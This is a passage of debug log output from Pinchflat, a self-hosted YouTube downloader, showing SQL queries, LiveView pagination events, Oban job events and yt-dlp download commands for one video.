IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:33.625 [debug] QUERY OK source="media_items" db=1.0ms idle=1565.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:43:33.626 [debug] QUERY OK source="sources" db=0.3ms idle=1566.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:33.626 [debug] Replied in 3ms 21:43:34.143 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 21:43:34.144 [debug] QUERY OK source="media_items" db=0.1ms idle=519.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:34.144 [debug] QUERY OK source="media_items" db=0.2ms idle=518.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 21:43:34.144 [debug] QUERY OK source="sources" db=0.0ms idle=517.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:34.144 [debug] Replied in 867µs 21:43:35.321 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:43:35.322 [debug] QUERY OK source="media_items" db=0.7ms idle=1261.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:35.323 [debug] QUERY OK source="media_items" db=1.0ms idle=1178.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 21:43:35.324 [debug] QUERY OK source="sources" db=0.2ms idle=1179.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:35.324 [debug] Replied in 3ms 21:43:35.484 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:43:35.485 [debug] QUERY OK source="media_items" db=0.6ms idle=1340.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:35.486 [debug] QUERY OK source="media_items" db=0.9ms idle=610.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 21:43:35.487 [debug] QUERY OK source="sources" db=0.2ms idle=164.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:35.487 [debug] Replied in 2ms 21:43:35.658 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 21:43:35.659 [debug] QUERY OK source="media_items" db=0.4ms idle=335.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:35.660 [debug] QUERY OK source="media_items" db=0.7ms idle=335.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:35.661 [debug] QUERY OK source="sources" db=0.2ms idle=175.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:43:35.661 [debug] Replied in 2ms 21:43:58.754 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.619 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:22.030 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/68/d1/68d1c89236405aeb5b6545e9b8b9d436bca3c69dfd522aa8cd96747315456ceb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:22.043 [debug] Running yt-dlp command for action: download_thumbnail 21:44:22.043 [debug] QUERY OK source="settings" db=0.0ms idle=1983.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:22.043 [debug] QUERY OK source="settings" db=0.0ms idle=1093.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:22.043 [debug] QUERY OK source="settings" db=0.0ms idle=983.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:44:22.043 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/45/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/48/1b/481b00d237f9cf5a175558cc8368d6906c630a68b2e1c2a0acd15669f92bff5e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:44:24.613 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=rexfoQ17fTc --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/45/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/48/1b/481b00d237f9cf5a175558cc8368d6906c630a68b2e1c2a0acd15669f92bff5e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:44:24.613 [debug] QUERY OK db=0.0ms idle=1553.8ms begin [] 21:44:24.614 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:44:22Z], "/downloads/Last Meals/2024-11-05 Ludwig Eats His Last Meal/Ludwig Eats His Last Meal [rexfoQ17fTc].mp4", ~U[2026-03-28 01:44:24Z], 45] 21:44:24.614 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/45/metadata.json.gz", "/config/metadata/media_items/45/thumbnail.jpg", 45, ~U[2026-03-28 01:44:24Z], ~U[2026-03-28 01:44:24Z]] 21:44:24.614 [debug] QUERY OK db=0.0ms commit [] 21:44:24.615 [debug] QUERY OK source="media_items" db=0.5ms idle=1555.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [387494710, ~U[2026-03-28 01:44:24Z], 45] 21:44:24.615 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:44:24.615 [info] {"args":{"id":45},"id":48,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":141292800,"event":"job:stop","queue_time":3241322345,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:44:24.616 [debug] QUERY OK source="tasks" db=0.2ms idle=1556.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:24.616 [debug] QUERY OK source="tasks" db=0.3ms idle=662.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:24.616 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [46] 21:44:24.616 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [46] 21:44:24.621 [info] {"args":{"id":47},"id":50,"meta":{},"system_time":1774662264621677442,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:44:24.622 [debug] QUERY OK source="media_items" db=0.2ms idle=5.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [47] 21:44:24.622 [debug] QUERY OK source="tasks" db=0.4ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:24.622 [debug] QUERY OK source="tasks" db=0.4ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:44:24.622 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:44:24.622 [debug] QUERY OK source="sources" db=0.3ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:44:24.622 [debug] QUERY OK source="media_items" db=0.3ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [46, 47] 21:44:24.623 [debug] QUERY OK source="media_items" db=0.5ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [46, 47] 21:44:24.623 [debug] QUERY OK source="media_profiles" db=0.4ms 